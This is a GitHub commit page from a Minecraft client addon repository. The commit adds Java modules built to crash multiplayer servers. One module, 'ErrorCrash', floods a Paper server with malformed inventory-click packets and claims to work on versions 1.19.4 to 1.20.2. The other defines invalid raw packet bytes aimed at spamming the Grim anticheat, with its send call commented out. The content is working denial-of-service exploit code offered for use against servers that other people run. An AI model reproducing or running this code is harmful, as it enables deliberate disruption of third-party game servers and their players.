This repository has been archived by the owner on Apr 11, 2024. It is now read-only.
generated from MeteorDevelopment/meteor-addon-template
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
update 1.1.0! remove completioncrash fps0! added error crash and work…
…ing grim crash
- Loading branch information
Showing
7 changed files
with
131 additions
and
53 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,60 @@ | ||
package me.reich.crash.modules; | ||
|
||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; | ||
import me.reich.crash.Crash; | ||
import meteordevelopment.meteorclient.events.game.GameLeftEvent; | ||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.settings.*; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.item.ItemStack; | ||
import net.minecraft.item.Items; | ||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; | ||
import net.minecraft.screen.slot.SlotActionType; | ||
|
||
public class ErrorCrash extends Module { | ||
private final SettingGroup sgGeneral = settings.getDefaultGroup(); | ||
|
||
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder() | ||
.name("Packets") | ||
.description("How many packets to send to the server.") | ||
.defaultValue(6) | ||
.sliderRange(1, 40) | ||
.build()); | ||
|
||
private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder() | ||
.name("Auto Disable") | ||
.description("Disables module on kick.") | ||
.defaultValue(true) | ||
.build()); | ||
|
||
public ErrorCrash() { | ||
super(Crash.CATEGORY, "Paper Error Crash", "works on 1.19.4~1.20.2"); | ||
} | ||
|
||
@EventHandler | ||
public void onTick(TickEvent.Pre tickEvent) { | ||
var handler = mc.player.currentScreenHandler; | ||
Int2ObjectArrayMap<ItemStack> itemMap = new Int2ObjectArrayMap<>(); | ||
itemMap.put(0, new ItemStack(Items.ACACIA_BOAT, 1)); | ||
for (int i = 0; i < packets.get(); i++) { | ||
mc.player.networkHandler.sendPacket( | ||
new ClickSlotC2SPacket( | ||
handler.syncId, | ||
handler.getRevision(), | ||
36, | ||
-1, | ||
SlotActionType.SWAP, | ||
handler.getCursorStack().copy(), | ||
itemMap | ||
) | ||
); | ||
} | ||
|
||
} | ||
|
||
@EventHandler | ||
private void onGameLeft(GameLeftEvent event) { | ||
if (autoDisable.get()) toggle(); | ||
} | ||
} |
65 changes: 65 additions & 0 deletions
65
src/main/java/me/reich/crash/modules/GrimConsoleSpammer.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
package me.reich.crash.modules; | ||
|
||
import io.netty.buffer.ByteBuf; | ||
import io.netty.buffer.Unpooled; | ||
import io.netty.channel.ChannelHandlerContext; | ||
import me.reich.crash.Crash; | ||
import meteordevelopment.meteorclient.events.game.GameLeftEvent; | ||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.settings.BoolSetting; | ||
import meteordevelopment.meteorclient.settings.IntSetting; | ||
import meteordevelopment.meteorclient.settings.Setting; | ||
import meteordevelopment.meteorclient.settings.SettingGroup; | ||
import meteordevelopment.meteorclient.systems.modules.Category; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.network.ClientConnection; | ||
import net.minecraft.network.packet.Packet; | ||
|
||
import java.util.stream.IntStream; | ||
|
||
public class GrimConsoleSpammer extends Module { | ||
private final SettingGroup sgGeneral = settings.getDefaultGroup(); | ||
|
||
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder() | ||
.name("Packets") | ||
.description("How many packets to send to the server.") | ||
.defaultValue(6) | ||
.sliderRange(1, 40) | ||
.build()); | ||
|
||
private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder() | ||
.name("Auto Disable") | ||
.description("Disables module on kick.") | ||
.defaultValue(true) | ||
.build()); | ||
|
||
public GrimConsoleSpammer() { | ||
super(Crash.CATEGORY, "Paper Error Crash", "works on 1.19.4~1.20.2"); | ||
} | ||
|
||
private static final int INVALID_PACKET_ID = 7; | ||
private static final byte[] DATA = new byte[]{INVALID_PACKET_ID, 0, -49, -24, 11, 6, 0, 0}; | ||
|
||
@Override | ||
public void onActivate() { | ||
if (mc.isIntegratedServerRunning()) { | ||
toggle(); | ||
error("§cYou can't use this module in singleplayer."); | ||
return; | ||
} | ||
} | ||
|
||
@EventHandler | ||
public void onTick(TickEvent.Pre tickEvent) { | ||
for (int i = 0; i < packets.get(); i++) { | ||
ByteBuf packetBuffer = Unpooled.wrappedBuffer(DATA); | ||
//mc.player.networkHandler.connection.channel.pipeline().firstContext().writeAndFlush(packetBuffer); | ||
} | ||
} | ||
|
||
@EventHandler | ||
private void onGameLeft(GameLeftEvent event) { | ||
if (autoDisable.get()) toggle(); | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters